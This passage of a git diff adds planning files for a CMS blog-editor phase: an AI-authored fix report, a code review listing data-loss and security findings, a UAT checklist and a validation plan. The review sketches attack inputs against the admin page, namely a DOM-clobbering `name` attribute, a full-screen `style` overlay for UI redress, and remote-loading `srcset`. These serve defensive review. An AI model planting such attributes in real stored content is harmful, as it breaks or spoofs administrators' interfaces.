+**Files modified:** `classes/blog_editor.go`, `classes/blog_editor_test.go`, `controllers/posts_editor_smoke_test.go`
+**Commit:** 5af746f
+**Status:** fixed: requires human verification (this changes a heuristic)
+**Applied fix:**
+- A value that starts with `<` is served as it is only when one of these holds:
+  - `content_html` is empty or missing, or cannot be read (no translation writer).
+  - `content_html` equals the value, ignoring white space at either end.
+  - `content_html` equals `SanitizeHTML(value)`, ignoring white space at either end.
+- Otherwise the value is markdown that starts with a tag, and `content_html` is served.
+- `sameStoredHTML` holds the comparison.
+**Why `FormatHTML(value)` is not a match:** that render also matches markdown which starts with `<img>`, so counting it would bring the bug back.
+**Side effect:** an imported HTML post whose `content_html` differs from its `content` (for example, Winter's Markdown::parse split an HTML block) now opens with `content_html`. That is what the site renders, so an untouched save still skips and an edit writes both columns from it.
+**Tests:**
+- The HTML-verbatim cases now cover a `content_html` that is missing, empty, equal, sanitized, trimmed, or both sanitized and trimmed.
+- New fixtures cover markdown that starts with `<img>`, `<div>` and `<!-- comment -->`. Each is served as its `content_html`, with no `##` or `**` markers.
+- A read error on an HTML value is the Load error.
+- A controller smoke case covers the `<img>` hero.
+
+### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` into the live admin DOM
+
+**Repository:** sm-journal-plugin
+**Files modified:** `assets/src/blogeditor/extensions.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/schema.test.ts`, `tests/blogeditor/smoke.test.ts`, `README.md`
+**Commit:** f1e6c11
+**Applied fix:**
+- `captureAttributes` and `renderCaptured` now use the conservative allowlist from the orchestrator (`KEPT_ATTRIBUTES`, `isKeptAttribute`): `class`, `title`, `alt`, `width`, `height`, `colspan`, `rowspan`, `start`, `rel`, `target` and `data-*`.
+- `href` and `src` stay modelled on the link and image nodes, which check them.
+- Every other attribute is never captured, so it is never rendered into the ProseMirror view. This covers `id`, `name`, `style`, `srcset`, `background`, `form`, `contenteditable`, `popover`, `itemprop`, `dir`, `lang` and `on*`. Such attributes drop out of a block once that block is edited.
+- A `span` is kept as a mark only when it has a kept attribute.
+- Untouched documents and untouched blocks still return their stored bytes (D-03).
+**Tests:**
+- The schema tests use view-safe attributes for the "keeps" cases.
+- New table cases drop `id`, `name`, `style`, `srcset`, `loading`, `background`, `form`/`contenteditable`/`popover`, `itemprop`/`dir`/`lang` and a cell's `style`.
+- A live-DOM test asserts that no stored `id`, `name`, `srcset`, `background` or style value reaches `.ProseMirror`, and that the untouched value is still the exact input.
+- The smoke expectation for edited blocks is updated.
+- A new test confirms that an untouched block keeps `id`, `style` and `itemprop` byte for byte after another block is edited.
+**Other changes:** the dist bundle is rebuilt and the plugin README's untouched-values paragraph is updated.
+
+### WR-06: Translatable Decode can receive non-string values
+
+**Repository:** summercms.go
+**Files modified:** `modules/cabana/field_type.go`, `modules/cabana/field_type_test.go`, `modules/pact/capabilities.go`, `modules/pact/README.md`, `docs/backend/field-types.md`
+**Commit:** f388d27
+**Applied fix:** before `decodeOne` handles a translatable field's default value, `decodePluginFields` now does the following:
+- A string passes through.
+- `nil` becomes `""`.
+- Any other value is a 422 on the field: "The X field must be text or an object of locale codes to text."
+**Docs:** the pact `FormFieldValue` doc comment, the pact README row and the field-types page now state the enforced contract.
+**Tests:** a probe Decode does `in.Value.(string)` and so panics on a broken contract.
+- A string and null each reach it as a string.
+- A number, a boolean and an int are refused with a 422 before Decode runs.
+
+### IN-04: `crypto.randomUUID()` throws outside a secure context
+
+**Repository:** sm-journal-plugin
+**Files modified:** `assets/src/blogeditor/element.ts`, `assets/dist/blogeditor.js`, `tests/blogeditor/smoke.test.ts`
+**Commit:** b997a41
+**Applied fix:** a new exported `uploadRequestId()` picks the request id in this order:
+- `crypto.randomUUID` when it exists.
+- Otherwise, a version 4 UUID built from `crypto.getRandomValues`, which works in insecure contexts.
+- Otherwise, a time-plus-counter id.
+The admin host (`PluginField.vue`) echoes any id back, so nothing else changes.
+**Tests:**
+- With `randomUUID` stubbed away, ids are unique v4 UUIDs and a full upload round trip still works.
+- With no `crypto` object, ids are unique counter ids.
+**Other changes:** the dist bundle is rebuilt.
+
+## Skipped Issues
+
+### WR-07: "View site" links to the admin's own origin
+
+**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
+**Reason:** By explicit user decision, "View site" defaults to the admin origin. The `SUMMER_FRONTEND__URL` override is a tracked follow-up.
+**Original issue:** `siteURL` assumes the public site and the admin share an origin, which is wrong for the headless deployment.
+
+### WR-08: The phase gate prints "Phase 16.2 gate passed" without running the data-loss regression suites
+
+**File:** `scripts/check-phase16.2.sh:521-544`
+**Reason:** This is by design. The gate prints a loud NOT RUN block, and `PHASE162_REQUIRE_POSTGRES=1` enforces the Postgres stage. The Postgres run is a tracked Docker-host step.
+**Original issue:** `--all` exits 0 when Docker is unreachable, without the D-03/D-10 Postgres acceptance tests.
+
+### IN-01: An embed placeholder that both policies accept may never expand
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`.
+
+### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** There is no defence-in-depth `sandbox` on the iframe, and the exported global regex is stateful.
+
+### IN-03: Plugin aliases can shadow list column types
+
+**File:** `modules/cabana/field_type.go:104-109`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** A plugin alias `date`, `datetime` or `time` is accepted, but its `ListValue` is never called.
+
+### IN-05: content_html translations are skipped silently when the application is unavailable
+
+**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `writeContentHTMLTranslations` returns nil without a writer, and the columns diverge.
+
+### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
+
+**File:** `modules/cabana/field_type.go:641-651`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** JSON transport replaces invalid UTF-8, so an untouched save rewrites such rows.
+
+### IN-07: "Edit as HTML" selects the first identical block
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `indexOf(html)` highlights the first of two identical raw blocks.
+
+### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
+
+**File:** `modules/cabana/field_type.go:33-36`
+**Reason:** Deferred. Info findings other than IN-04 are out of scope for this fix pass.
+**Original issue:** `pluginFieldKeys` excludes the general keys that the SPA honours.
+
+## Verification
+
+All verification ran in the main checkouts. `workflow.use_worktrees` is `false`, so no worktree was created and the numbers can be reproduced from the trees as committed.
+
+- **summercms.go:**
+  - `go vet ./...` is clean.
+  - The phase gate's framework set (`FRAMEWORK_RUN` over `./modules/pact ./modules/cabana`) passes.
+  - `go test ./cmd/summer -run TestDocsTree` passes.
+  - The other cabana failures are Docker-only (testcontainers). The failing subtest list is identical before and after these changes; this was checked with `git stash`.
+- **sm-journal-plugin:**
+  - `go vet ./...` is clean.
+  - `go test ./classes ./controllers ./controllers/api` passes. The root, `models` and `updates` packages need Docker.
+  - vitest passes 232 of 232, and `tsc --noEmit` is clean.
+  - `scripts/check-dist.sh` matches a fresh build.
+- **vue-journal-layer:** untouched. The gate's layer stage passes 144 of 144, and the corpus copy equals the plugin's.
+- **Full gate:** `bash scripts/check-phase16.2.sh --all` passes the go, admin (vitest 1218 of 1218), editor, layer and docs stages; docs includes check-admin-openapi, check-admin-dist and the Journal check-dist. Postgres is NOT RUN because no Docker daemon is reachable. Its suites (TestFieldTypeSavePostgres, TestPostsAdminResaveKeepsHTML, TestPostsAdminSaveSanitizesHTML, TestCategoriesAdmin*) still need a Docker-host run. That run matters most for CR-01 and WR-04, whose end-to-end untouched-save behavior those suites cover.
+
+---
+
+_Fixed: 2026-10-10T14:46:56Z_
+_Fixer: Claude (msd-code-fixer)_
+_Iteration: 1_

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-REVIEW.md

@@ -0,0 +1,294 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+reviewed: 2026-10-10T14:29:09Z
+depth: standard
+files_reviewed: 73
+files_reviewed_list:
+  - admin/src/api/schema.d.ts
+  - admin/src/api/types.ts
+  - admin/src/app/fieldTypes.ts
+  - admin/src/app/pluginAssets.ts
+  - admin/src/components/form/FieldRenderer.vue
+  - admin/src/components/form/FormField.vue
+  - admin/src/components/form/FormGrid.vue
+  - admin/src/components/form/PreviewField.vue
+  - admin/src/components/form/fields/MLField.vue
+  - admin/src/components/form/fields/MLPluginField.vue
+  - admin/src/components/form/fields/PluginField.vue
+  - admin/src/components/form/formContext.ts
+  - admin/src/components/form/formState.ts
+  - admin/src/components/form/mlLocale.ts
+  - admin/src/components/form/registry.ts
+  - admin/src/components/relation/RelationChildModal.vue
+  - admin/src/components/shell/AppShell.vue
+  - admin/src/main.ts
+  - admin/src/views/FormView.vue
+  - admin/src/views/LoginView.vue
+  - modules/cabana/admin_openapi.go
+  - modules/cabana/contracts.go
+  - modules/cabana/crud.go
+  - modules/cabana/extension.go
+  - modules/cabana/field_ml.go
+  - modules/cabana/field_type.go
+  - modules/cabana/field_type_upload.go
+  - modules/cabana/form_schema.go
+  - modules/cabana/http.go
+  - modules/cabana/list_schema.go
+  - modules/cabana/query.go
+  - modules/cabana/registry.go
+  - modules/cabana/relation.go
+  - modules/cabana/relation_field.go
+  - modules/cabana/relation_form.go
+  - modules/cabana/schema_types.go
+  - modules/cabana/settings.go
+  - modules/cabana/tx_context.go
+  - modules/pact/capabilities.go
+  - modules/phrasebook/backend/lang/en/lang.yaml
+  - modules/phrasebook/backend/lang/pl/lang.yaml
+  - scripts/check-phase16.2.sh
+  - ../sm-journal-plugin/admin.go
+  - ../sm-journal-plugin/assets/src/blogeditor/blogeditor.css
+  - ../sm-journal-plugin/assets/src/blogeditor/element.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/embed.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/extensions.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/index.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/labels.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/preview.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/serializer.ts
+  - ../sm-journal-plugin/assets/src/blogeditor/toolbar.ts
+  - ../sm-journal-plugin/classes/blog_editor.go
+  - ../sm-journal-plugin/classes/format_html.go
+  - ../sm-journal-plugin/classes/media_store.go
+  - ../sm-journal-plugin/controllers/admin_registry.go
+  - ../sm-journal-plugin/controllers/api/media.go
+  - ../sm-journal-plugin/controllers/categories.go
+  - ../sm-journal-plugin/controllers/posts.go
+  - ../sm-journal-plugin/field_types.go
+  - ../sm-journal-plugin/go.mod
+  - ../sm-journal-plugin/lang/en/lang.yaml
+  - ../sm-journal-plugin/lang/pl/lang.yaml
+  - ../sm-journal-plugin/models/category/fields.yaml
+  - ../sm-journal-plugin/models/post/fields.yaml
+  - ../sm-journal-plugin/scripts/check-dist.sh
+  - ../sm-journal-plugin/vite.config.ts
+  - ../vue-journal-layer/app/assets/css/journal-base.css
+  - ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
+  - ../vue-journal-layer/app/components/Journal/PostBody.vue
+  - ../vue-journal-layer/app/utils/embeds.ts
+  - ../vue-journal-layer/app/utils/htmlGate.ts
+  - ../vue-journal-layer/testing/expect-acme.txt
+findings:
+  critical: 1
+  warning: 8
+  info: 8
+  total: 17
+status: issues_found
+---
+
+# Phase 16.2: Code Review Report
+
+**Reviewed:** 2026-10-10T14:29:09Z
+**Depth:** standard
+**Files Reviewed:** 73 (summercms.go diff 0754a6e..HEAD, sm-journal-plugin diff c60abc6..HEAD, vue-journal-layer diff 294a8d8..HEAD)
+**Status:** issues_found
+
+Paths starting with `../` are relative to the summercms.go repository root; they live in the sibling sm-journal-plugin and vue-journal-layer repositories.
+
+## Summary
+
+The review covered the new `pact.FormFieldType` API, cabana's compile, decode, untouched-skip, load, list and upload paths, the admin SPA host (PluginField, MLPluginField, the field-type loader, notices, View site), the Journal Blog Editor types (Decode/Load/ListValue/Upload, StoreMedia, the bluemonday extension and SanitizeHTMLReport), the TipTap custom element (schema, serializer, preview, toolbar), and the layer's sanitize-html mirror and embed expansion.
+
+The security core holds up:
+- Decode runs inside the save transaction for every written locale. The untouched skip compares against the value the form was served, so it cannot be used to store unsanitized bytes that are not already stored.
+- SanitizeHTMLReport returns the input unchanged only when the token comparison matches.
+- The layer expands embeds only after sanitizing, with a fixed `src` and a validated id.
+- The preview iframe uses an empty sandbox, and stored HTML is parsed only into inert documents.
+- Upload sniffing plus StoreMedia's extension list refuses SVG and HTML.
+
+Problems found:
+- **Blocker (data loss):** Journal `Load` serves an empty editor for a locale whose `content` is blank but whose `content_html` holds the body. The public API's `FormatTranslation` path supports that state. Any edit in that locale silently replaces the hidden translated body.
+- **Upload route:** it skips the controller's create/update capability check and can leave orphaned public objects. The Journal storage key check is racy, so concurrent uploads can overwrite each other.
+- **Live admin DOM:** the editor's attribute preservation is a deny-list (`on*` only). `id`, `name`, `style` and `srcset` from stored HTML reach the live admin DOM, which contradicts the threat-model claim.
+- Other warnings: the markdown/HTML heuristic, the translatable Decode contract, the View site URL, and a phase gate that reports success without its data-loss regression tests.
+
+## Critical Issues
+
+### CR-01: Blog Editor hides a locale's existing `content_html` when its `content` is blank; editing that locale overwrites the hidden body
+
+**File:** `../sm-journal-plugin/classes/blog_editor.go:204-209`
+**Issue:** `loadBlogHTML` returns the stored text as-is when it is blank:
+
+```go
+if column == "" || LooksLikeHTML(text) || strings.TrimSpace(text) == "" {
+    return text, nil
+}
+```
+
+`FormatTranslation` (`classes/format_html.go:292-316`) supports translations that carry only `content_html` with blank or missing `content`, for example API writes of a translated body. For such a locale, cabana's `hydratePluginFields` and `servedFieldValue` serve `""`. The administrator therefore sees an empty editor although the site renders a full translated post. The untouched skip protects only a save that leaves that locale empty. As soon as the administrator types anything there, for example believing no translation exists, `decodeOne` writes the new value. `FormAfterUpdate` (`controllers/posts.go:241-280`) then stores it as that locale's `content_html`, and the existing translated body is lost with no notice. This breaks D-07's intent ("a markdown post opens with its `content_html`"). The same applies to a host row whose `content` is blank but whose `content_html` is not.
+**Fix:** When `htmlColumn` is set, serve the HTML column whenever `content` is blank, not only when it is markdown:
+
+```go
+text := storedText(in.Value)
+column, _ := in.Options["htmlColumn"].(string)
+if column == "" || (LooksLikeHTML(text) && strings.TrimSpace(text) != "") {
+    return text, nil
+}
+if in.Translated != nil {
+    html, found, err := in.Translated(column)
+    if err != nil {
+        return nil, err
+    }
+    if found && html != "" {
+        return html, nil
+    }
+}
+if strings.TrimSpace(text) == "" {
+    return text, nil
+}
+html, err := FormatHTML(text)
+...
+```
+
+Add a test: a pl translation with only `content_html` is served as that HTML, an untouched save keeps it, and an edit writes both columns from the edited value.
+
+## Warnings
+
+### WR-01: Field upload route skips the controller's create/update capability check
+
+**File:** `modules/cabana/field_type_upload.go:25-36, 80-81`
+**Issue:** `fieldUpload` only runs `protect`, which checks the controller's required permissions. Unlike `create` and `update` (`http.go:831, 860`), it never calls `s.operationDeclared(w, r, cc, "create"|"update")`. Consequences:
+- With `{id}` 0, any administrator holding the controller permission can write files to the public media bucket through a controller whose YAML declares no create capability (no toolbar `create`).
+- The `id == 0` path never applies the controller's `FormExtendQuery` scope, so an administrator scoped to a subset of records can still upload.
+- With `{id} > 0`, a record the administrator may view but whose form declares no update can still receive uploads.
+
+**Fix:** Mirror the save routes before reading the body:
+
+```go
+op := "update"
+if id == 0 {
+    op = "create"
+}
+if !s.operationDeclared(w, r, cc, op) {
+    return
+}
+```
+
+Add `TestFieldUpload` cases for a controller without the `create` toolbar button (403 for id 0).
+
+### WR-02: Stored upload objects are orphaned when the route refuses after Upload succeeded
+
+**File:** `modules/cabana/field_type_upload.go:58-78, 83-99`
+**Issue:** The type's `Upload` writes the object to the bucket first. Only then does `run` check that no second multipart part follows (`mr.NextPart()`), and that check returns 422. In the `id != 0` case, a later transaction error rolls back the DB transaction but not the blob write. The element's 60 s timeout (`element.ts:553-556`) also drops a late successful answer. Each case leaves a public, unreferenced object under `/journal/<folder>/` with no cleanup.
+**Fix:** Before calling `Upload`, check that the stream has exactly one part. For example, buffer the part up to the cap, then read `NextPart` before calling `Upload`. Alternatively, add an optional `pact.FormFieldType.Discard(ctx, url)` that cabana calls when it refuses after a successful Upload. At minimum, document that a refused upload may leave the object behind.
+
+### WR-03: Media key uniqueness is check-then-write; concurrent uploads of the same name overwrite each other
+
+**File:** `../sm-journal-plugin/classes/media_store.go:79-85, 122-151`
+**Issue:** `uniqueMediaKey` calls `bucket.Exists` and then `bucket.NewWriter(ctx, key, nil)` writes without a precondition. Two concurrent uploads of the same name to the same folder both see the key as free, and the second write replaces the first. One post then shows the other's image. Clipboard and drag-and-drop images commonly share names such as `image.png`, and `safeUploadName` maps every nameless file to `image.<ext>`, so collisions are likely. The plan-03 fix (T-16.2-16, "never overwrites") covers only the 999-suffix exhaustion case.
+**Fix:** Write with `&blob.WriterOptions{IfNotExist: true}` (available in gocloud.dev v0.46) and retry with the next suffix on a `gcerrors.FailedPrecondition`. Alternatively, add a short random component to editor upload names.
+
+### WR-04: `LooksLikeHTML` treats markdown that starts with a tag as HTML; the first edit stores raw markdown as HTML in both columns
+
+**File:** `../sm-journal-plugin/classes/blog_editor.go:112-115, 207`
+**Issue:** A markdown post whose first non-space character is `<` is served as raw markdown in the WYSIWYG editor, not as its `content_html`. Examples: a hero `<img …>`, a leading `<div>`, or `<!-- comment -->` followed by `## Heading` and `**bold**`. Any edit makes `preparePostWrite` (`controllers/posts.go:212-224`) copy that string into `content_html`. From then on the site renders literal `##` and `**` markers. This is silent corruption on first edit; it is listed as assumption A1, but no safeguard backs it.
+**Fix:** Do not decide by the first character alone. For example, treat the value as HTML only when `content_html` is empty, equals `content`, or equals `SanitizeHTML(content)`; otherwise serve `content_html`. Add a fixture with a markdown post that starts with `<img>`.
+
+### WR-05: Attribute preservation lets `id`, `name`, `style`, `srcset` and other stored attributes into the live admin DOM
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/extensions.ts:100-125, 133-173`
+**Issue:**
+- `captureAttributes` and `renderCaptured` drop only `on*` names. Every other attribute of a paragraph, heading, list, table, cell, image, figure or link, and every attribute of a `span`, is rendered by ProseMirror into the contenteditable view in the admin document. This happens on the form and also on the read-only preview screen, which renders the element with `disabled`.
+- Legacy imported HTML is never sanitized by an untouched save, so its attributes reach the admin DOM unchanged:
+  - `<img src=… name="querySelector">` clobbers `document.querySelector` (Document named properties override built-ins) and breaks the SPA while the post is open.
+  - `style="position:fixed;inset:0;z-index:99999;…"` can overlay the admin UI with attacker text (UI redress).
+  - `srcset` and `background` load remote resources.
+- The policy also allows `id` globally, so any administrator can plant window-level named elements.
+- Plan 02's statement "Stored HTML never reaches the live admin DOM" is inaccurate for attributes.
+
+**Fix:** Switch to an allow-list that mirrors the server policy: `class`, `style` (filtered to the four allowed properties, as in htmlGate), `dir`, `lang`, `title`, `itemscope`/`itemtype`/`itemprop`, `data-message-*`, plus element-specific attributes. Keep any other attribute only as an opaque value on the node, and serialize it in the inert document without rendering it in the view. One way is to render `htmlAttrs` in the view through `addNodeView` or a `renderHTML` that filters by a view-safe list, while the serializer path emits everything. At minimum, drop `id`, `name`, `form`, `srcset`, `contenteditable`, `popover*` and `style` from the view rendering.
+
+### WR-06: Translatable Decode can receive non-string values despite the documented pact contract
+
+**File:** `modules/cabana/field_type.go:476-486`, `modules/pact/capabilities.go` (FormFieldValue doc: "it is a string for a translatable type")
+**Issue:** `liftMLValues` validates only object-shaped submissions. A scalar submitted for a translatable plugin field (`null`, `3`, `true`) passes through `projectOperation` and reaches `ft.def.Decode` as `nil`/`float64`/`bool`. The published API promises a string, so a third-party type that does `in.Value.(string)` will panic, and the save fails as an unexpected 500. Journal guards against this; the framework contract does not.
+**Fix:** Enforce the contract in `decodePluginFields` before calling `decodeOne` for a translatable default value:
+
+```go
+switch v := value.(type) {
+case string:
+case nil:
+    value = ""
+default:
+    return pluginDecodeResult{}, &ValidationError{Details: fieldDetail(field.Name, "The "+field.Name+" field must be text or an object of locale codes to text.")}
+}
+```
+
+Alternatively, change the pact doc to "any JSON scalar".
+
+### WR-07: "View site" links to the admin's own origin, which is wrong for the headless deployment
+
+**File:** `admin/src/components/shell/AppShell.vue:25-27, 40-48`
+**Issue:** `siteURL = ${window.location.origin}/` assumes the public site and the admin share an origin. v1 is a headless backend with a separate Nuxt frontend. When the admin is served from an API or admin host, the link opens the Go binary's root (the SPA shell or a 404), not the site. WinterCMS's "View site" uses the configured application URL. The link attributes themselves are safe (`noopener noreferrer`, fixed origin).
+**Fix:** Serve the site URL from configuration, for example an `app.url` or `backend.site_url` key exposed in `/navigation` or `/me`. Hide the link when the key is unset, or fall back to the origin only when it is explicitly configured as the same host. Update the module README and config docs in the same change.
+
+### WR-08: The phase gate prints "Phase 16.2 gate passed" (exit 0) without running the data-loss regression suites
+
+**File:** `scripts/check-phase16.2.sh:521-544`
+**Issue:** The header calls the script fail-closed. Yet `--all` (the default mode) exits 0 and prints "Phase 16.2 gate passed" when Docker is unreachable. The Postgres stage holds `TestPostsAdminResaveKeepsHTML`, `TestPostsAdminSaveSanitizesHTML`, `TestCategoriesAdminContent`, `TestCategoriesAdminBlogEditor` and `TestFieldTypeSavePostgres`, which are this phase's D-03/D-10 acceptance tests. Plan 06 records that this host has no Docker, so the green gate was produced without them. A CI job or a later reader that trusts the exit code will treat the phase as verified.
+**Fix:** Make the default fail closed. Exit non-zero, or at least print "Phase 16.2 gate INCOMPLETE" and exit 3, when Postgres did not run, unless `PHASE162_ALLOW_NO_POSTGRES=1` is set. This inverts the current `PHASE162_REQUIRE_POSTGRES` opt-in.
+
+## Info
+
+### IN-01: An embed placeholder that both policies accept may never expand
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41`
+**Issue:** `EMBED_PLACEHOLDER` matches only `data-embed` before `data-id`, double-quoted, with an empty body. A placeholder written in the Source tab as `<figure data-id="…" data-embed="youtube"></figure>` passes the Go policy and the layer sanitizer. sanitize-html keeps attribute order, so it renders as an inert empty figure with no error anywhere. The editor's Embed node accepts either order (`extensions.ts:327-341`).
+**Fix:** In the layer, match either attribute order (or parse the figure's attributes after sanitizing). Alternatively, have Decode normalize the placeholder's attribute order.
+
+### IN-02: The expanded YouTube iframe has no `sandbox`, and the exported `/g` regex carries shared `lastIndex` state
+
+**File:** `../vue-journal-layer/app/utils/embeds.ts:41, 56-60`
+**Issue:** The iframe is fixed to youtube-nocookie with a validated id, which is fine, but it has no `sandbox` attribute as defence in depth. `EMBED_PLACEHOLDER` is an exported global regex; a consumer that calls `.test()` or `.exec()` on it gets stateful results.
+**Fix:** Add `sandbox="allow-scripts allow-same-origin allow-presentation allow-popups"`. Export a factory or a non-global pattern and build the `/g` regex inside `expandEmbeds`.
+
+### IN-03: Plugin aliases can shadow list column types, and ListValue is then silently ignored
+
+**File:** `modules/cabana/field_type.go:104-109`, `modules/cabana/list_schema.go:22-24, 242-251`
+**Issue:** `checkFieldTypeDef` refuses only `formFieldTypes`. A plugin alias `date`, `datetime` or `time` is accepted at boot, but a list column of that type resolves to the built-in column type and never calls the plugin's `ListValue`.
+**Fix:** Also refuse aliases in `listColumnTypes`.
+
+### IN-04: `crypto.randomUUID()` throws outside a secure context
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:551`
+**Issue:** On an admin served over plain HTTP from a non-localhost host (a LAN dev box), `crypto.randomUUID` is undefined and every upload throws. The status line still says "uploading".
+**Fix:** Fall back to `crypto.getRandomValues` or a counter for the request id.
+
+### IN-05: content_html translations are skipped silently when the application is unavailable
+
+**File:** `../sm-journal-plugin/controllers/posts.go:263-270`
+**Issue:** `writeContentHTMLTranslations` returns nil when `c.application()` or the writer is nil, while cabana has already written the `content` translation through its own writer. The two columns then diverge with no error.
+**Fix:** Return an error, which aborts the transaction, when a non-default write exists but no writer can be resolved.
+
+### IN-06: Untouched detection cannot be byte-exact for legacy content with invalid UTF-8
+
+**File:** `modules/cabana/field_type.go:641-651`
+**Issue:** JSON transport replaces invalid UTF-8 with U+FFFD, so the echoed value never equals the served value under `sameJSON`. An untouched save then rewrites such a row with replacement characters, which breaks D-03 for those rows.
+**Fix:** Document the limitation, or compare after normalizing the served value with `strings.ToValidUTF8(s, "<22>")`.
+
+### IN-07: "Edit as HTML" selects the first identical block
+
+**File:** `../sm-journal-plugin/assets/src/blogeditor/element.ts:524-532`
+**Issue:** `textarea.value.indexOf(html)` selects the first occurrence when two raw HTML blocks are identical, so the wrong block is highlighted.
+**Fix:** Pass the node position and map it to the block's source offset through `#blocks`.
+
+### IN-08: Plugin-typed fields cannot declare `readOnly`/`hidden`/`disabled` in YAML
+
+**File:** `modules/cabana/field_type.go:33-36`
+**Issue:** `pluginFieldKeys` excludes general keys such as `readOnly` (and `checkFieldTypeDef` forbids options with those names), but `PluginField.vue:50` honours `field.readOnly`. A plugin field can therefore never be made read-only from fields.yaml.
+**Fix:** Allow the general keys the SPA and server already understand (`readOnly`, `hidden`, `placeholder`, `cssClass`) for plugin fields, or document the restriction in `docs/backend/field-types.md`.
+
+---
+
+_Reviewed: 2026-10-10T14:29:09Z_
+_Reviewer: Claude (msd-code-reviewer)_
+_Depth: standard_

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-UAT.md

@@ -0,0 +1,48 @@
+---
+status: testing
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+source: [16.2-VERIFICATION.md]
+started: 2026-10-10T14:54:46Z
+updated: 2026-10-10T14:54:46Z
+---
+
+## Current Test
+
+number: 1
+name: Postgres suites on a Docker host
+expected: |
+  bash scripts/check-phase16.2.sh postgres passes, which closes WINDOWS 11, 12, 14-16, 20 and 21.
+awaiting: user response
+
+## Tests
+
+### 1. Postgres suites on a Docker host
+expected: bash scripts/check-phase16.2.sh postgres passes. This is the end-to-end proof for the CR-01 and WR-04 Load changes and for the category save.
+result: [pending]
+
+### 2. D-19 category content on UAT (WINDOWS 18)
+expected: Change one word in a category body and save. No removal notice appears, and the site shows the change.
+result: [pending]
+
+### 3. Untouched re-save after the next deploy (with the CR-01/WR-04 fixes)
+expected: Re-save posts 1 and 64 untouched. The md5 SELECT is unchanged (1: a026264105f900175b9770e637e5ec5c both columns; 64: 0e4be845390b1656871513957d471a7c:e785e14e80f6400534e16b4769749d3c) and updated_at moves.
+result: [pending]
+
+### 4. Preview pane in a real browser (quick 261010-iwu)
+expected: 50/50 split; the pane wraps below the editor when the element is narrower than about 720px; a <script> in a raw HTML block stays inert; YouTube thumbnails load; relative /storage images resolve.
+result: [pending]
+
+### 5. Accept the sandboxed preview iframe as an exception to plan 02's "no iframe in the admin"
+expected: The human accepts the empty-sandbox srcdoc preview, or asks for a change.
+result: [pending]
+
+## Summary
+
+total: 5
+passed: 0
+issues: 0
+pending: 5
+skipped: 0
+blocked: 0
+
+## Gaps

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-VALIDATION.md

@@ -0,0 +1,106 @@
+---
+phase: "16.2"
+slug: "plugin-provided-field-types-and-the-blog-editor-formwidget"
+# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
+# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
+status: draft
+nyquist_compliant: true
+wave_0_complete: true
+created: "2026-10-09"
+revised: "2026-10-10"
+---
+
+# Phase 16.2 — Validation Strategy
+
+> Per-phase validation contract for feedback sampling during execution.
+
+---
+
+## Test Infrastructure
+
+| Property | Value |
+|----------|-------|
+| **Framework** | Go `testing` (+ testify); admin vitest 3.2.7 + happy-dom; sm-journal-plugin vitest 3.2.7 (new, Wave 0); vue-journal-layer `node --test` |
+| **Config file** | `admin/vitest.config.ts`; `../sm-journal-plugin/vitest.config.ts` (Wave 0); `../vue-journal-layer/package.json` `test` script |
+| **Quick run command** | `go test -short ./modules/pact ./modules/cabana -run 'FieldType\|Plugin'` |
+| **Full suite command** | `go vet ./... && go test -short ./...` (summercms.go); `npm --prefix admin test`; `go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -short ./... && npm --prefix ../sm-journal-plugin test`; `npm --prefix ../vue-journal-layer test` |
+| **Estimated runtime** | ~120 seconds |
+
+---
+
+## Sampling Rate
+
+- **After every task commit:** `go vet` + `go test -short` for the touched packages, plus the touched vitest file
+- **After every plan wave:** every full-suite command above
+- **Before `/msd-verify-work`:** full suites green, `bash scripts/check-admin-dist.sh`, `bash scripts/check-admin-openapi.sh --check`, the plugin `check-dist.sh`, `go test ./cmd/summer -run TestDocsTree`, and the human Docker-host run of the testcontainers suites
+- **Max feedback latency:** 120 seconds
+
+---
+
+## Per-Task Verification Map
+
+| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
+|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
